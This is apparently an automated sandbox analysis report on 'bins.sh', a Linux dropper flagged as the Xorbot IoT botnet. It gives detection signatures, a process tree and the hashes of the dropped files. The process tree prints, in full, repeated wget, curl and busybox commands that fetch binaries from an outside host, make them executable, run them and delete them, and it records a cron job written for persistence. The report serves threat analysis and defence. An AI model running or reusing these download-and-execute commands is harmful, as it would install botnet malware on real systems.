Analysis

  • max time kernel
    127s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    16/01/2025, 13:22

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250116-ql79fssldv
  • SHA256 63929c383ea7a8a19923d7a86d9136bb4e3b6cca08db413d87fbf811ebd677dd
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (796) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 31 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:701
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:707
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:709
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:725
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:731
        • /bin/chmod
          chmod 777 EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
          ./EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
          2⤵
          • Executes dropped EXE
          PID:734
        • /bin/rm
          rm EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
          2⤵
            PID:736
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:737
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:738
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:740
          • /bin/chmod
            chmod 777 CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
            2⤵
            • File and Directory Permissions Modification
            PID:741
          • /tmp/CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
            ./CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
            2⤵
            • Executes dropped EXE
            PID:742
          • /bin/rm
            rm CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
            2⤵
              PID:744
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:745
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:762
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:773
            • /bin/chmod
              chmod 777 VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
              2⤵
              • File and Directory Permissions Modification
              PID:776
            • /tmp/VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
              ./VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
              2⤵
              • Executes dropped EXE
              PID:777
            • /bin/rm
              rm VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
              2⤵
                PID:781
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:782
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:795
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:804
              • /bin/chmod
                chmod 777 G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                2⤵
                • File and Directory Permissions Modification
                PID:805
              • /tmp/G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                ./G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                2⤵
                • Executes dropped EXE
                PID:806
              • /bin/rm
                rm G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                2⤵
                  PID:808
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:809
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:810
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:818
                • /bin/chmod
                  chmod 777 zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                  2⤵
                  • File and Directory Permissions Modification
                  PID:823
                • /tmp/zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                  ./zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                  2⤵
                  • Executes dropped EXE
                  PID:824
                • /bin/rm
                  rm zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                  2⤵
                    PID:827
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:828
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:838
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:848
                  • /bin/chmod
                    chmod 777 VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                    2⤵
                    • File and Directory Permissions Modification
                    PID:851
                  • /tmp/VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                    ./VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                    2⤵
                    • Executes dropped EXE
                    PID:852
                  • /bin/rm
                    rm VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                    2⤵
                      PID:854
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/D7FXSSgtirdO1UiH8O0QM21cDVKU0ZiEAV
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:855
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/D7FXSSgtirdO1UiH8O0QM21cDVKU0ZiEAV
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:856
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/D7FXSSgtirdO1UiH8O0QM21cDVKU0ZiEAV
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:858
                    • /bin/chmod
                      chmod 777 D7FXSSgtirdO1UiH8O0QM21cDVKU0ZiEAV
                      2⤵
                      • File and Directory Permissions Modification
                      PID:859
                    • /tmp/D7FXSSgtirdO1UiH8O0QM21cDVKU0ZiEAV
                      ./D7FXSSgtirdO1UiH8O0QM21cDVKU0ZiEAV
                      2⤵
                      • Executes dropped EXE
                      PID:860
                    • /bin/rm
                      rm D7FXSSgtirdO1UiH8O0QM21cDVKU0ZiEAV
                      2⤵
                        PID:862
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/KJSTgnbKbNl8tfKfORK47mGGa8lkimAYYE
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:863
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/KJSTgnbKbNl8tfKfORK47mGGa8lkimAYYE
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:864
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/KJSTgnbKbNl8tfKfORK47mGGa8lkimAYYE
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:866
                      • /bin/chmod
                        chmod 777 KJSTgnbKbNl8tfKfORK47mGGa8lkimAYYE
                        2⤵
                        • File and Directory Permissions Modification
                        PID:867
                      • /tmp/KJSTgnbKbNl8tfKfORK47mGGa8lkimAYYE
                        ./KJSTgnbKbNl8tfKfORK47mGGa8lkimAYYE
                        2⤵
                        • Executes dropped EXE
                        PID:868
                      • /bin/rm
                        rm KJSTgnbKbNl8tfKfORK47mGGa8lkimAYYE
                        2⤵
                          PID:870
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/18cF5OWIETlvoJjX4tW4ap8VUNJyX7k3oM
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:871
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/18cF5OWIETlvoJjX4tW4ap8VUNJyX7k3oM
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:872
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/18cF5OWIETlvoJjX4tW4ap8VUNJyX7k3oM
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:874
                        • /bin/chmod
                          chmod 777 18cF5OWIETlvoJjX4tW4ap8VUNJyX7k3oM
                          2⤵
                          • File and Directory Permissions Modification
                          PID:875
                        • /tmp/18cF5OWIETlvoJjX4tW4ap8VUNJyX7k3oM
                          ./18cF5OWIETlvoJjX4tW4ap8VUNJyX7k3oM
                          2⤵
                          • Executes dropped EXE
                          PID:876
                        • /bin/rm
                          rm 18cF5OWIETlvoJjX4tW4ap8VUNJyX7k3oM
                          2⤵
                            PID:878
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/4cj7yUmGuet0o3Q63UIS7VepTlLdyDZmuK
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:879
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/4cj7yUmGuet0o3Q63UIS7VepTlLdyDZmuK
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:880
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/4cj7yUmGuet0o3Q63UIS7VepTlLdyDZmuK
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:882
                          • /bin/chmod
                            chmod 777 4cj7yUmGuet0o3Q63UIS7VepTlLdyDZmuK
                            2⤵
                            • File and Directory Permissions Modification
                            PID:883
                          • /tmp/4cj7yUmGuet0o3Q63UIS7VepTlLdyDZmuK
                            ./4cj7yUmGuet0o3Q63UIS7VepTlLdyDZmuK
                            2⤵
                            • Executes dropped EXE
                            • Renames itself
                            • Reads runtime system information
                            PID:884
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:886
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:887
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:888
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      • Reads runtime system information
                                      PID:889
                                • /bin/rm
                                  rm 4cj7yUmGuet0o3Q63UIS7VepTlLdyDZmuK
                                  2⤵
                                    PID:891
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/WeW93v6ooMH4Mkx0y20eNx43FkO4UAY5EI
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:894

                                Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      18cF5OWIETlvoJjX4tW4ap8VUNJyX7k3oM

                                      • Path /tmp/18cF5OWIETlvoJjX4tW4ap8VUNJyX7k3oM
                                      • Size 112KB
                                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                      • MD5 SHA1 SHA512 SSDEEP

                                      4cj7yUmGuet0o3Q63UIS7VepTlLdyDZmuK

                                      • Path /tmp/4cj7yUmGuet0o3Q63UIS7VepTlLdyDZmuK
                                      • Size 151KB
                                      • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                      • MD5 SHA1 SHA512 SSDEEP

                                      CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5

                                      • Path /tmp/CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
                                      • Size 127KB
                                      • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                      • MD5 SHA1 SHA512 SSDEEP

                                      D7FXSSgtirdO1UiH8O0QM21cDVKU0ZiEAV

                                      • Path /tmp/D7FXSSgtirdO1UiH8O0QM21cDVKU0ZiEAV
                                      • Size 111KB
                                      • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                      • MD5 SHA1 SHA512 SSDEEP

                                      EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo

                                      • Path /tmp/EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
                                      • Size 177KB
                                      • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                      • MD5 SHA1 SHA512 SSDEEP

                                      G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV

                                      • Path /tmp/G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                                      • Size 99KB
                                      • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                      • MD5 SHA1 SHA512 SSDEEP

                                      KJSTgnbKbNl8tfKfORK47mGGa8lkimAYYE

                                      • Path /tmp/KJSTgnbKbNl8tfKfORK47mGGa8lkimAYYE
                                      • Size 117KB
                                      • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                      • MD5 SHA1 SHA512 SSDEEP

                                      VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI

                                      • Path /tmp/VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                                      • Size 151KB
                                      • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                      • MD5 SHA1 SHA512 SSDEEP

                                      VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP

                                      • Path /tmp/VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
                                      • Size 122KB
                                      • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                      • MD5 SHA1 SHA512 SSDEEP

                                      zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL

                                      • Path /tmp/zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                                      • Size 141KB
                                      • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                      • MD5 SHA1 SHA512 SSDEEP

                                      tmp.rSUnwI

                                      • Path /var/spool/cron/crontabs/tmp.rSUnwI
                                      • Size 210B
                                      • SHA256 0a5a6bd7a1b32081727fb6df8406eb033ff361016562836e1e45879980c790f7
                                      • MD5 SHA1 SHA512